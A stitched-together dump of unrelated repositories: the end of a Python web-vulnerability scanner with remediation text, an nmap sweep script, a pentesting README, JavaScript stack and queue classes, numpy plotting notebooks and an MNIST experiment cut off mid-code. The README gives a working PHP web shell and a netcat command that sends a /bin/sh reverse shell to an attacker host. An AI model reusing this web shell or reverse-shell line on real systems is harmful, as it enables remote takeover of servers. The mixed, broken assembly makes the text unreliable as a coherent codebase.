these files.", "It is recommended to block or restrict access to these files unless necessary."], [26, "Attackers may find considerable amount of information from these directories. There are even chances attackers may get access to critical information from these directories.", "It is recommended to block or restrict access to these directories unless necessary."], [27, "May not be SQLi vulnerable. An attacker will be able to know that the host is using a backend for operation.", "Banner Grabbing should be restricted and access to the services from outside would should be made minimum."], [28, "An attacker will be able to steal cookies, deface web application or redirect to any third party address that can serve malware.", "Input validation and Output Sanitization can completely prevent Cross Site Scripting (XSS) attacks. XSS attacks can be mitigated in future by properly following a secure coding methodology. The following comprehensive resource provides detailed information on fixing this vulnerability. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet"], [29, "SSL related vulnerabilities breaks the confidentiality factor. An attacker may perform a MiTM attack, intrepret and eavesdrop the communication.", "Proper implementation and upgraded version of SSL and TLS libraries are very critical when it comes to blocking SSL related vulnerabilities."], [30, "Particular Scanner found multiple vulnerabilities that an attacker may try to exploit the target.", "Refer to RS-Vulnerability-Report to view the complete information of the vulnerability, once the scan gets completed."], [31, "Attackers may gather more information from subdomains relating to the parent domain. Attackers may even find other services from the subdomains and try to learn the architecture of the target. There are even chances for the attacker to find vulnerabilities as the attack surface gets larger with more subdomains discovered.", "It is sometimes wise to block sub domains like development, staging to the outside world, as it gives more information to the attacker about the tech stack. Complex naming practices also help in reducing the attack surface as attackers find hard to perform subdomain bruteforcing through dictionaries and wordlists."], [32, "Through this deprecated protocol, an attacker may be able to perform MiTM and other complicated attacks.", "It is highly recommended to stop using this service and it is far outdated. SSH can be used to replace TELNET. For more information, check this resource https://www.ssh.com/ssh/telnet"], [33, "This protocol does not support secure communication and there are likely high chances for the attacker to eavesdrop the communication. Also, many FTP programs have exploits available in the web such that an attacker can directly crash the application or either get a SHELL access to that target.", "Proper suggested fix is use an SSH protocol instead of FTP. It supports secure communication and chances for MiTM attacks are quite rare."], [34, "The StuxNet is level-3 worm that exposes critical information of the target organization. It was a cyber weapon that was designed to thwart the nuclear intelligence of Iran. Seriously wonder how it got here? Hope this isn't a false positive Nmap ;)", "It is highly recommended to perform a complete rootkit scan on the host. For more information refer to this resource. https://www.symantec.com/security_response/writeup.jsp?docid=2010-071400-3123-99&tabid=3"], [35, "WebDAV is supposed to contain multiple vulnerabilities. In some case, an attacker may hide a malicious DLL file in the WebDAV share however, and upon convincing the user to open a perfectly harmless and legitimate file, execute code under the context of that user", "It is recommended to disable WebDAV. Some critical resource regarding disbling WebDAV can be found on this URL. https://www.networkworld.com/article/2202909/network-security/-webdav-is-bad---says-security-researcher.html"], [36, "Attackers always do a fingerprint of any server before they launch an attack. Fingerprinting gives them information about the server type, content- they are serving, last modification times etc, this gives an attacker to learn more information about the target", "A good practice is to obfuscate the information to outside world. Doing so, the attackers will have tough time understanding the server's tech stack and therefore leverage an attack."], [37, "Attackers mostly try to render web applications or service useless by flooding the target, such that blocking access to legitimate users. This may affect the business of a company or organization as well as the reputation", "By ensuring proper load balancers in place, configuring rate limits and multiple connection restrictions, such attacks can be drastically mitigated."], [38, "Intruders will be able to remotely include shell files and will be able to access the core file system or they will be able to read all the files as well. There are even higher chances for the attacker to remote execute code on the file system.", "Secure code practices will mostly prevent LFI, RFI and RCE attacks. The following resource gives a detailed insight on secure coding practices. https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices"], [39, "Hackers will be able to steal data from the backend and also they can authenticate themselves to the website and can impersonate as any user since they have total control over the backend. They can even wipe out the entire database. Attackers can also steal cookie information of an authenticated user and they can even redirect the target to any malicious address or totally deface the application.", "Proper input validation has to be done prior to directly querying the database information. A developer should remember not to trust an end-user's input. By following a secure coding methodology attacks like SQLi, XSS and BSQLi. The following resource guides on how to implement secure coding methodology on application development. https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices"], [40, "Attackers exploit the vulnerability in BASH to perform remote code execution on the target. An experienced attacker can easily take over the target system and access the internal sources of the machine", "This vulnerability can be mitigated by patching the version of BASH. The following resource gives an indepth analysis of the vulnerability and how to mitigate it. https://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability"], [41, "Gives attacker an idea on how the address scheming is done internally on the organizational network. Discovering the private addresses used within an organization can help attackers in carrying out network-layer attacks aiming to penetrate the organization's internal infrastructure.", "Restrict the banner information to the outside world from the disclosing service. More information on mitigating this vulnerability can be found here. https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed"], [42, "There are chances for an attacker to manipulate files on the webserver.", "It is recommended to disable the HTTP PUT and DEL methods incase if you don't use any REST API Services. Following resources helps you how to disable these methods. http://www.techstacks.com/howto/disable-http-methods-in-tomcat.html https://docs.oracle.com/cd/E19857-01/820-5627/gghwc/index.html https://developer.ibm.com/answers/questions/321629/how-to-disable-http-methods-head-put-delete-option/"], [43, "Attackers try to learn more about the target from the amount of information exposed in the headers. An attacker may know what type of tech stack a web application is emphasizing and many other information.", "Banner Grabbing should be restricted and access to the services from outside would should be made minimum."], [44, "An attacker who successfully exploited this vulnerability could read data, such as the view state, which was encrypted by the server. This vulnerability can also be used for data tampering, which, if successfully exploited, could be used to decrypt and tamper with the data encrypted by the server.", "Microsoft has released a set of patches on their website to mitigate this issue. The information required to fix this vulnerability can be inferred from this resource. https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-070"], [45, "Any outdated web server may contain multiple vulnerabilities as their support would've been ended. An attacker may make use of such an opportunity to leverage attacks.", "It is highly recommended to upgrade the web server to the available latest version."], [46, "Hackers will be able to manipulate the URLs easily through a GET/POST request. They will be able to inject multiple attack vectors in the URL with ease and able to monitor the response as well", "By ensuring proper sanitization techniques and employing secure coding practices it will be impossible for the attacker to penetrate through. The following resource gives a detailed insight on secure coding practices. https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices"], [47, "Since the attacker has knowledge about the particular type of backend the target is running, they will be able to launch a targetted exploit for the particular version. They may also try to authenticate with default credentials to get themselves through.", "Timely security patches for the backend has to be installed. Default credentials has to be changed. If possible, the banner information can be changed to mislead the attacker. The following resource gives more information on how to secure your backend. http://kb.bodhost.com/secure-database-server/"], [48, "Attackers may launch remote exploits to either crash the service or tools like ncrack to try brute-forcing the password on the target.", "It is recommended to block the service to outside world and made the service accessible only through the a set of allowed IPs only really neccessary. The following resource provides insights on the risks and as well as the steps to block the service. https://www.perspectiverisk.com/remote-desktop-service-vulnerabilities/"], [49, "Hackers will be able to read community strings through the service and enumerate quite a bit of information from the target. Also, there are multiple Remote Code Execution and Denial of Service vulnerabilities related to SNMP services.", "Use a firewall to block the ports from the outside world. The following article gives wide insight on locking down SNMP service. https://www.techrepublic.com/article/lock-it-down-dont-allow-snmp-to-compromise-network-security/"], [50, "Attackers will be able to find the logs and error information generated by the application. They will also be able to see the status codes that was generated on the application. By combining all these information, the attacker will be able to leverage an attack.", "By restricting access to the logger application from the outside world will be more than enough to mitigate this weakness."], [51, "Cyber Criminals mainly target this service as it is very easier for them to perform a remote attack by running exploits. WannaCry Ransomware is one such example.", "Exposing SMB Service to the outside world is a bad idea, it is recommended to install latest patches for the service in order not to get compromised. The following resource provides a detailed information on SMB Hardening concepts. https://kb.iweb.com/hc/en-us/articles/115000274491-Securing-Windows-SMB-and-NetBios-NetBT-Services"] ] tools_precheck = [ ["nmap"] ] def get_parser(): parser = argparse.ArgumentParser(add_help=False) parser.add_argument('-h', '--help', action='store_true', help='Show help message and exit.') parser.add_argument('-u', '--update', action='store_true', help='Update RapidScan.') parser.add_argument('-s', '--skip', action='append', default=[], help='Skip some tools', choices=[t[0] for t in tools_precheck]) parser.add_argument('-n', '--nospinner', action='store_true', help='Disable the idle loader/spinner.') parser.add_argument('target', nargs='?', metavar='URL', help='URL to scan.', default='', type=str) return parser # Shuffling Scan Order (starts) scan_shuffle = list(zip(tool_names, tool_cmd, tool_resp, tool_status)) random.shuffle(scan_shuffle) tool_names, tool_cmd, tool_resp, tool_status = zip(*scan_shuffle) tool_checks = (len(tool_names) + len(tool_resp) + len(tool_status)) / 3 # Cross verification incase, breaks. tool_checks = round(tool_checks) # Shuffling Scan Order (ends) # Tool Head Pointer: (can be increased but certain tools will be skipped) tool = 0 # Run Test runTest = 1 # For accessing list/dictionary elements arg1 = 0 arg2 = 1 arg3 = 2 arg4 = 3 arg5 = 4 arg6 = 5 # Detected Vulnerabilities [will be dynamically populated] rs_vul_list = list() rs_vul_num = 0 rs_vul = 0 # Total Time Elapsed rs_total_elapsed = 0 # Tool Pre Checker rs_avail_tools = 0 # Checks Skipped rs_skipped_checks = 0 if len(sys.argv) == 1: logo() helper() sys.exit(1) args_namespace = get_parser().parse_args() if args_namespace.nospinner: spinner.disabled = True if args_namespace.help or (not args_namespace.update \ and not args_namespace.target): logo() helper() elif args_namespace.update: logo() print("toolscanning is updating....Please wait.\n") spinner.start() # Checking internet connectivity first... rs_internet_availability = check_internet() if rs_internet_availability == 0: print("\t"+ bcolors.BG_ERR_TXT + "There seems to be some problem connecting to the internet. Please try again or later." +bcolors.ENDC) spinner.stop() sys.exit(1) cmd = 'sha1sum toolscanning.py | grep .... | cut -c 1-40' oldversion_hash = subprocess.check_output(cmd, shell=True) oldversion_hash = oldversion_hash.strip() os.system('wget -N https://raw.githubusercontent.com/cyberhack255/Pentestingscripts/master/toolscanning.py -O toolscanning.py > /dev/null 2>&1') newversion_hash = subprocess.check_output(cmd, shell=True) newversion_hash = newversion_hash.strip() if oldversion_hash == newversion_hash : clear() print("\t"+ bcolors.OKBLUE +"You already have the latest version of RapidScan." + bcolors.ENDC) else: clear() print("\t"+ bcolors.OKGREEN +"RapidScan successfully updated to the latest version." +bcolors.ENDC) spinner.stop() sys.exit(1) elif args_namespace.target: target = url_maker(args_namespace.target) #target = args_namespace.target os.system('rm /tmp/te* > /dev/null 2>&1') # Clearing previous scan files os.system('clear') os.system('setterm -cursor off') logo() print(bcolors.BG_HEAD_TXT+"[ Checking Available Security Scanning Tools Phase... Initiated. ]"+bcolors.ENDC) unavail_tools_names = list() while (rs_avail_tools < len(tools_precheck)): precmd = str(tools_precheck[rs_avail_tools][arg1]) try: p = subprocess.Popen([precmd], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True) output, err = p.communicate() val = output + err except: print("\t"+bcolors.BG_ERR_TXT+"RapidScan was terminated abruptly..."+bcolors.ENDC) sys.exit(1) # If the tool is not found or it's part of the --skip argument(s), disabling it if b"not found" in val or tools_precheck[rs_avail_tools][arg1] in args_namespace.skip : if b"not found" in val: print("\t"+bcolors.OKBLUE+tools_precheck[rs_avail_tools][arg1]+bcolors.ENDC+bcolors.BADFAIL+"...unavailable."+bcolors.ENDC) elif tools_precheck[rs_avail_tools][arg1] in args_namespace.skip : print("\t"+bcolors.OKBLUE+tools_precheck[rs_avail_tools][arg1]+bcolors.ENDC+bcolors.BADFAIL+"...skipped."+bcolors.ENDC) for scanner_index, scanner_val in enumerate(tool_names): if scanner_val[2] == tools_precheck[rs_avail_tools][arg1]: scanner_val[3] = 0 # disabling scanner as it's not available. unavail_tools_names.append(tools_precheck[rs_avail_tools][arg1]) else: print("\t"+bcolors.OKBLUE+tools_precheck[rs_avail_tools][arg1]+bcolors.ENDC+bcolors.OKGREEN+"...available."+bcolors.ENDC) rs_avail_tools = rs_avail_tools + 1 clear() unavail_tools_names = list(set(unavail_tools_names)) if len(unavail_tools_names) == 0: print("\t"+bcolors.OKGREEN+"All Scanning Tools are available. Complete vulnerability checks will be performed by RapidScan."+bcolors.ENDC) else: print("\t"+bcolors.WARNING+"Some of these tools "+bcolors.BADFAIL+str(unavail_tools_names)+bcolors.ENDC+bcolors.WARNING+" are unavailable or will be skipped. RapidScan will still perform the rest of the tests. Install these tools to fully utilize the functionality of RapidScan."+bcolors.ENDC) print(bcolors.BG_ENDL_TXT+"[ Checking Available Security Scanning Tools Phase... Completed. ]"+bcolors.ENDC) print("\n") print(bcolors.BG_HEAD_TXT+"[ Preliminary Scan Phase Initiated... Loaded "+str(tool_checks)+" vulnerability checks. ]"+bcolors.ENDC) #while (tool < 1): while(tool < len(tool_names)): print("["+tool_status[tool][arg3]+tool_status[tool][arg4]+"] Deploying "+str(tool+1)+"/"+str(tool_checks)+" | "+bcolors.OKBLUE+tool_names[tool][arg2]+bcolors.ENDC,) if tool_names[tool][arg4] == 0: print(bcolors.WARNING+"\nScanning Tool Unavailable. Skipping Test...\n"+bcolors.ENDC) rs_skipped_checks = rs_skipped_checks + 1 tool = tool + 1 continue try: spinner.start() except Exception as e: print("\n") scan_start = time.time() temp_file = "/tmp/temp_"+tool_names[tool][arg1] cmd = tool_cmd[tool][arg1]+target+tool_cmd[tool][arg2]+" > "+temp_file+" 2>&1" try: subprocess.check_output(cmd, shell=True) except KeyboardInterrupt: runTest = 0 except: runTest = 1 if runTest == 1: spinner.stop() scan_stop = time.time() elapsed = scan_stop - scan_start rs_total_elapsed = rs_total_elapsed + elapsed #print(bcolors.OKBLUE+"\b...Completed in "+display_time(int(elapsed))+bcolors.ENDC+"\n") sys.stdout.write(ERASE_LINE) print(bcolors.OKBLUE+"\nScan Completed in "+display_time(int(elapsed))+bcolors.ENDC, end='\r', flush=True) print("\n") #clear() rs_tool_output_file = open(temp_file).read() if tool_status[tool][arg2] == 0: if tool_status[tool][arg1].lower() in rs_tool_output_file.lower(): #print "\t"+ vul_info(tool_resp[tool][arg2]) + bcolors.BADFAIL +" "+ tool_resp[tool][arg1] + bcolors.ENDC vul_remed_info(tool,tool_resp[tool][arg2],tool_resp[tool][arg3]) rs_vul_list.append(tool_names[tool][arg1]+"*"+tool_names[tool][arg2]) else: if any(i in rs_tool_output_file for i in tool_status[tool][arg6]): m = 1 # This does nothing. else: #print "\t"+ vul_info(tool_resp[tool][arg2]) + bcolors.BADFAIL +" "+ tool_resp[tool][arg1] + bcolors.ENDC vul_remed_info(tool,tool_resp[tool][arg2],tool_resp[tool][arg3]) rs_vul_list.append(tool_names[tool][arg1]+"*"+tool_names[tool][arg2]) else: runTest = 1 spinner.stop() scan_stop = time.time() elapsed = scan_stop - scan_start rs_total_elapsed = rs_total_elapsed + elapsed #sys.stdout.write(CURSOR_UP_ONE) sys.stdout.write(ERASE_LINE) #print("-" * terminal_size(), end='\r', flush=True) print(bcolors.OKBLUE+"\nScan Interrupted in "+display_time(int(elapsed))+bcolors.ENDC, end='\r', flush=True) print("\n"+bcolors.WARNING + "\tTest Skipped. Performing Next. Press Ctrl+Z to Quit RapidScan.\n" + bcolors.ENDC) rs_skipped_checks = rs_skipped_checks + 1 tool=tool+1 print(bcolors.BG_ENDL_TXT+"[ Preliminary Scan Phase Completed. ]"+bcolors.ENDC) print("\n") #################### Report & Documentation Phase ########################### print(bcolors.BG_HEAD_TXT+"[ Report Generation Phase Initiated. ]"+bcolors.ENDC) if len(rs_vul_list)==0: print("\t"+bcolors.OKGREEN+"No Vulnerabilities Detected."+bcolors.ENDC) else: with open("RS-Vulnerability-Report", "a") as report: while(rs_vul < len(rs_vul_list)): vuln_info = rs_vul_list[rs_vul].split('*') report.write(vuln_info[arg2]) report.write("\n------------------------\n\n") temp_report_name = "/tmp/temp_"+vuln_info[arg1] with open(temp_report_name, 'r') as temp_report: data = temp_report.read() report.write(data) report.write("\n\n") temp_report.close() rs_vul = rs_vul + 1 print("\tComplete Vulnerability Report for "+bcolors.OKBLUE+target+bcolors.ENDC+" named "+bcolors.OKGREEN+"`RS-Vulnerability-Report`"+bcolors.ENDC+" is available under the same directory RapidScan resides.") report.close() # Writing all scan files output into RS-Debug-ScanLog for debugging purposes. for file_index, file_name in enumerate(tool_names): with open("RS-Debug-ScanLog", "a") as report: try: with open("/tmp/temp_"+file_name[arg1], 'r') as temp_report: data = temp_report.read() report.write(file_name[arg2]) report.write("\n------------------------\n\n") report.write(data) report.write("\n\n") temp_report.close() except: break report.close() print("\tTotal Number of Vulnerability Checks : "+bcolors.BOLD+bcolors.OKGREEN+str(len(tool_names))+bcolors.ENDC) print("\tTotal Number of Vulnerability Checks Skipped: "+bcolors.BOLD+bcolors.WARNING+str(rs_skipped_checks)+bcolors.ENDC) print("\tTotal Number of Vulnerabilities Detected : "+bcolors.BOLD+bcolors.BADFAIL+str(len(rs_vul_list))+bcolors.ENDC) print("\tTotal Time Elapsed for the Scan : "+bcolors.BOLD+bcolors.OKBLUE+display_time(int(rs_total_elapsed))+bcolors.ENDC) print("\n") print("\tFor Debugging Purposes, You can view the complete output generated by all the tools named "+bcolors.OKBLUE+"`RS-Debug-ScanLog`"+bcolors.ENDC+" under the same directory.") print(bcolors.BG_ENDL_TXT+"[ Report Generation Phase Completed. ]"+bcolors.ENDC) os.system('setterm -cursor on') os.system('rm /tmp/te* > /dev/null 2>&1') # Clearing previous scan files <file_sep>/api #!/bin/bash URL="https://www.auscert.org.au/api/v1/malurl/combo-7-txt" API_KEY="api" curl -H "API-Key: $API_KEY" $URL -k <file_sep>/nmap.py #!/usr/bin/python import os import sys #for arg in sys.argv: # print arg ################################# # # #----Execute NMAP command-- # # # # # ################################# print('Nmap is running') ip = '172.21.0.0/24' def get_nmap(options, ip): command = "nmap " + options + " " + ip process = os.popen(command) results = str(process.read()) return results print(get_nmap('-sn ', ip)) <file_sep>/README.md # Pentestingscripts List of Tools ====================== * nmap.py * reverse-server.py * reverse-client.py * reverse-multi-server.py More tools will be added soon...... PHP reverse shell ===================== <?php echo system($_REQUEST[‘sec’]); ?> in URL just type http://url/shell.php?sec=<command> eg. pwd, ls etc. nc can be run on http://url/shell?sec=nc -e /bin/sh <hackerip> 4444 on the Hacker PC run = nc -lvnp 4444 # to listening for incoming traffic
bf7e546859e87cd172d8b39cc2fce354f115db74
[ "Markdown", "Python", "Shell" ]
6
Python
cyberhack255/Pentestingscripts
fb51256a7a75f39e78593f39e49702683088a37f
77190175d4a8411d05e8d174c7e94a6154dc0d7c
refs/heads/master
<repo_name>FightingHao/leetcode-test<file_sep>/day01/JS模拟栈_01.js /* * 使用 ES5 function 模拟栈 */ function Stack() { // 初始化栈 var items = [] // 入栈 this.push = function (elements) { items.push(elements) } // 出栈 this.pop = function () { return items.pop() } // 返回栈顶元素 this.peek = function () { return items[items.length - 1] } // 判断栈是否为空 this.isEmpty = function () { return items.length === 0 } // 清空栈 this.clear = function () { items = [] } // 返回栈元素个数 this.size = function () { return items.length } // 打印栈元素 this.print = function () { console.log(items.toString()) } } module.exports = Stack<file_sep>/day01/JS模拟栈_02.js /* * 使用 ES6 class 模拟栈 */ const Stack = (function () { const _items = Symbol('items') class Stack { // 初始化栈 constructor() { this[_items] = [] } // 入栈 push(elements) { this[_items].push(elements) } // 出栈 pop() { return this[_items].pop() } // 返回栈顶元素 peek() { return this[_items][this[_items].length - 1] } // 判断栈是否为空 isEmpty() { return this[_items].length === 0 } // 清空栈 clear() { this[_items] = [] } // 返回栈元素个数 size() { return this[_items].length } // 打印栈元素 print() { console.log(this[_items].toString()) } } return Stack })() module.exports = Stack<file_sep>/day02/JS模拟队列_02.js /* * 使用 ES6 WeakMap 模拟队列 */ const Queue = (function () { const items = new WeakMap() class Queue { // 初始化队列 constructor() { items.set(this, []) } // 入队列 enqueue(elements) { items.get(this).push(elements) } // 出队列 dequeue() { return items.get(this).shift() } // 返回队列第一个元素 front() { return items.get(this)[0] } // 判断队列是否为空 isEmpty() { return items.get(this).length === 0 } // 清空队列 clear() { items.set(this, []) } // 返回队列长度 size() { return items.get(this).length } // 打印队列元素 print() { console.log(items.get(this).toString()) } } return Queue })() module.exports = Queue<file_sep>/day01/JS模拟栈_03.js /* * 使用 ES6 WeakMap 模拟栈 */ const Stack = (function () { const items = new WeakMap() class Stack { // 初始化栈 constructor() { items.set(this, []) } // 入栈 push(elements) { items.get(this).push(elements) } // 出栈 pop() { return items.get(this).pop() } // 返回栈顶元素 peek() { return items.get(this)[items.get(this).length - 1] } // 判断栈是否为空 isEmpty() { return items.get(this).length === 0 } // 清空栈 clear() { items.set(this, []) } // 返回栈元素个数 size() { return items.get(this).length } // 打印栈元素 print() { console.log(items.get(this).toString()) } } return Stack })() module.exports = Stack<file_sep>/README.md # leetcode-test 每天一道算法 <file_sep>/day01/栈实现进制转换.js const Stack = require('./JS模拟栈_01') /* * @param1: 待转换数 * @param2: 进制 */ function scale(number, base) { let stack = new Stack(), rem, binaryStr = '', digits = '0123456789ABCDEF' while (number) { rem = Math.floor(number % base) stack.push(rem) number = Math.floor(number / base) } while (!stack.isEmpty()) { binaryStr += digits[stack.pop()] } return binaryStr } const result = scale(10, 2) console.log(result)
a52de35d9ce1a4309af193632029cb15c2381927
[ "JavaScript", "Markdown" ]
6
JavaScript
FightingHao/leetcode-test
345eb579115a97be5258e8ee864cc31a23e54a77
2394978687fa91ce202ce63e339cc750cdb52df7
refs/heads/master
<repo_name>Amixer/fizzbuzz<file_sep>/js/app.js for (var varNumber = 1 ; varNumber<=100; varNumber++) { if (varNumber% 15===0 ) {document.write(" FizzBuzz "); } else if (varNumber % 3 ===0) { document.write(" Fizz "); } else if(varNumber % 5===0) {document.write(" Buzz "); } else {document.write(varNumber + " "); } }
20d5e4cc440f7dfa47e20276133d9e4afd338207
[ "JavaScript" ]
1
JavaScript
Amixer/fizzbuzz
9915a7a8a434b97ee1cfbda4f18d1ae72361e83f
20507563204729c29ae26f6afda9508ce0ac5ff0
refs/heads/master
<file_sep> # coding: utf-8 # In[1]: get_ipython().magic(u'matplotlib inline') import numpy as np import matplotlib.pyplot as plt # $f(g) = (e^ {g}-e^ {-g})/(e^{g}+e^{-g})$ # In[6]: g= np.linspace (-3,3) e= np.e # In[7]: def f(g, e): return ((e**g)-(e**-g))/((e**g)+(e**-g)) # In[8]: plt.plot(g, f(g, e)) # In[9]: def c(g, e): return np.piecewise(g, (g<-e, g>e, g==0),(0, 2 , 5)) # In[10]: plt.plot(g c(g, e)) # In[11]: datos= np.arange(0,100) # In[14]: plt.plot(datos) # In[17]: trigo= np.arange(0,360) trigo= np.radians(trigo) trigo= np.sin(trigo) # In[ ]: # In[18]: plt.plot(trigo) # In[19]: trigo= np.cos(trigo) # In[20]: plt.plot(trigo) # In[ ]: <file_sep> # coding: utf-8 # In[5]: get_ipython().magic(u'matplotlib inline') import numpy as np import matplotlib.pyplot as plt # In[11]: g=np.arange(-5,5,0.3) # $f(g)=g$ # # In[13]: y=g # In[15]: plt.plot(g,y) plt.grid() # $f(h)=e^{h}-e^{-h}/e^{h}+e^{-h}$ # # In[17]: h=np.linspace(-5,5) e=np.e # In[18]: def f(h,e): return ((e**h)-(e**-h))/((e**h)+(e**-h)) # In[ ]: # In[19]: plt.plot(h, f(h,e)) # In[20]: x=np.linspace(-5,5) b=np.linspace(-4,4) # In[21]: def f(x,b): return np.piecewise(x,[x<-b, x > b],[0,1,5]) # In[25]: plt.axis([x[0], x[-1], -0.1, 1.5]) plt.plot(x,f(x,b),linestyle='--',color='r') # In[24]: sigma=0.01 x=np.linspace(-10,10) e=np.e pi=np.pi # $f(x)= 1 / \sqrt[2]{2\pi \sigma^2 }e^-(x^2/2 \sigma^2)$ # In[27]: def f(x): return (1/np.sqrt(2*pi*sigma**2))*(e**-((x**2)/2*(sigma**2))) # In[28]: plt.plot(x,f(x),'--',color='g') # In[ ]:
df4dd85eb909ddefacb9357e91596d360d1bdf8c
[ "Python" ]
2
Python
Bedoya1123/funciones
a11ff476c74e15a3178756d25d19e32bafc57f53
f700d42ac44189fce1f4e6a413cba705b34519cd
refs/heads/master
<file_sep>import { Component,AfterViewInit, ElementRef, HostListener, ViewChild } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.scss'] }) export class AppComponent implements AfterViewInit { ngAfterViewInit() { this.navbar.nativeElement.className='toolbar-hide' } title = 'open-financial'; @ViewChild('navbar', { static: true }) navbar: ElementRef; max=300000 min=100000 value=0 expensemax=100000 expensemin=0 expensevalue=0 checked=false @HostListener('window:scroll',['$event']) scrollHandler(e:Event) { console.log("Scroll Event", window.pageYOffset,this.navbar ); if(window.pageYOffset>80){ this.navbar.nativeElement.className='toolbar-sticky' }else{ this.navbar.nativeElement.className='toolbar-hide' } } }
47d190fd6801c986ca0f5a437b2b57cc7ff88f6d
[ "TypeScript" ]
1
TypeScript
abhishek0494/open
d35698be172d6f4efbbd2824c74d99c50b5e04d8
b82ac13fa9b11caafdc7907cc29cefbc0559c4b2
refs/heads/master
<repo_name>livinter/bi_direct_cluster<file_sep>/mytools.py from keras.datasets import mnist # Keras is ONLY used for the dataset import numpy as np # calculation is NumPy-only class DataSource: # one class for train and test def __init__(self, x, y): self.size = len(x) self.x = np.array((x / 255.).reshape(self.size, 28 * 28), dtype=np.float32) self.y = np.zeros((self.size, 10), dtype=np.float32) # convert index to pattern. examp.: 3 -> [0,0,0,1,..] self.y[range(self.size), y] = 1. def get_x(self, i): return self.x[i % self.size] def get_y(self, i): return self.y[i % self.size] class Measure: # this is just a class to measure True/False restus and finaly get a precentage def __init__(self, name, floating=True): self.name = name self.right = 0. self.counter = 0. self.counter_i = 0 self.floating = floating def reset(self): self.right = 0. self.counter = 0. self.counter_i = 0 def compare(self, seen, wanted): right = np.argmax(seen)==np.argmax(wanted) self.right += right self.counter += 1. self.counter_i += 1 if self.counter > 500 and self.floating: self.right *= .95 self.counter *= .95 if self.counter_i % 1000 == 0: # print every 10k print(self.name, self.counter_i, self.get_prediction()) def get_prediction(self): return self.right / self.counter <file_sep>/bidirect2.py """ I tried to get a very simple solution to MNIST. Numpy-Only Implementation-Text:     - Neurons have activation from 0..1     - Weights are between 0..1, all start at .9     - Activations are calculated based on input AND expectation     - Learning is only applied to the most active(s) neuron()       - input AND output- weights are modified to match better in the future.       - the learning is simply done by multiplying and adding activation to the weight.     Implementation-Code: The main lines to get to 96% are:     0) init all weights to 0.9       1) activation with dot() # from forward and backward     2) # get sparse relu activation     activation -= np.max(activation) * .95     return np.maximum(activation / np.max(activation), 0.)     3) select only best maching neuron from: 1.75*input + 1*expectation     best = np.argmax(layer1.out * 1.75 + layer2.in_)     4) # learn only on neuron from 3), applyed symetricaly     weights *= learn_rate * activation - learn_rate * 2. + 0.99     weights += learn_rate * activation     Intuition 1: The first layer in CNN could be extracted from input only When you watch the first layer in a picture-watching-neuronal-network: https://www.researchgate.net/profile/Okan_Kopuklu/publication/331134795/figure/fig2/AS:726640602673156@1550256028863/Learned-convolutional-kernels-in-the-first-convolutional-layer-of-AlexNet-Some-of-the.jpg you realize that no backpropagation is needed. Instead, the pattern is just the most common pattern in the seen pictures. Sure, the more you go further you got in the layer, the more patterns are related to the expected output. Intuition 2: "seeing" based on the expectation When a baby tuches and rotate a toy-brick, several senses make the brick experience. All the pictures and the senses get connected. A higher layer can just stay with its conclusion "brick", and while new frames come in, they can get connected to the same high-level conclusion, as we can expect that there is still a brick. This kind of learning is in strong contrast to a batch of different objects. Instead, we look at one object and get it in all its variations. It is not one shoot, its several shoots from one thing. Deep learning using backpropagation has a strict separation from the input flow on one side, and desired output on the other side where each neuron activation is only defined by the the sum of its inputs and each neuron "desired activation" is defined only by the outputs to the following layers. When we process videos we throw away all activations each frame. I suspect that those activations could be useful. And that it could make sense to use them in the calculation of the activation of the neurons. Takeaways:  - The experiment showed best results taking when calculating connections based on      `input * 1.75 +output`       Better than just using output, and better than just using input.    - Normally all weights get updated. In my code, I only modify weights from one or a few neurons. Finding a way to do this in DL could help to speed up.   """ from keras.datasets.mnist import load_data #from keras.datasets.fashion_mnist import load_data import numpy as np (x_train, y_train), (x_test, y_test) = load_data() EPOCHS=8 # change to 3 for faster run HIDDEN=1500 # change to 750 for faster run # this is just a class to measure True/False restus and finaly get a precentage # not needed for understanding class Measure: def __init__(self, name, floating=True): self.name = name self.right = 0. self.counter = 0. self.counter_i = 0 self.floating = floating self.seen = np.zeros((10, ), ) def reset(self): self.right = 0. self.counter = 0. self.counter_i = 0 def compare(self, seen, wanted): right = np.argmax(seen) == np.argmax(wanted) self.seen[np.argmax(seen)] += 1 self.right += right self.counter += 1. self.counter_i += 1 if self.counter > 500 and self.floating: self.right *= .97 self.counter *= .97 if self.counter_i % 10000 == 0: # print every 10k print(self.name, self.counter_i, self.get_prediction()) return right def get_prediction(self): return self.right / self.counter # convert x,y to 0..1 # not needed for understanding def convert(x, y): size = len(x) x = np.array((x / 255.).reshape(size, 28 * 28), dtype=np.float32) y1 = np.zeros((size, 10), dtype=np.float32) # convert index to pattern. examp.: 3 -> [0,0,0,1,..] y1[range(size), y] = 1. return x, y1, size class Layer: def __init__(self, n_src, n_dest): self.full = np.ones((n_src, n_dest), dtype=np.float32) * .9 @staticmethod def GReLu(activation): # Global ReLU, only focus on strongest 5% in Layer activation -= np.max(activation) * .95 return np.maximum(activation / np.max(activation), 0.) def forward(self, in_): self.in_ = in_ self.out = self.GReLu(np.dot(in_, self.full)) def backward(self, out): self.out = out self.in_ = self.GReLu(np.dot(out, self.full.T)) def learn(self, activation, weights, n): # slow down learn rate over time lr = 0.03 * 8000 / (8000 + n) # `0.99` means: this value is <1 and result that an activation will # decrease the possibility of future activations. # `*= means: if the source neuron is not activated the weight will be reduced weights *= lr * activation - lr * 2. + 0.99 # `+= means: if the source neuron is activated the weight will be increased weights += lr * activation def symetric_learn(l1, l2, i): # learn only one neuron that has strongest activation taking in concideration # input*1.75 AND output. best = np.argmax(l1.out * 1.75 + l2.in_) # modify weights to both sides. l1.learn(l1.in_, l1.full[:, best], i) l2.learn(l2.out, l2.full[best, :], i) # a = Layer(784, HIDDEN) b = Layer(HIDDEN, 10) for learning in [True, False]: # first learn, than test if learning == True: x, y, size = convert(x_train, y_train) measure = Measure("Train:", floating=True) 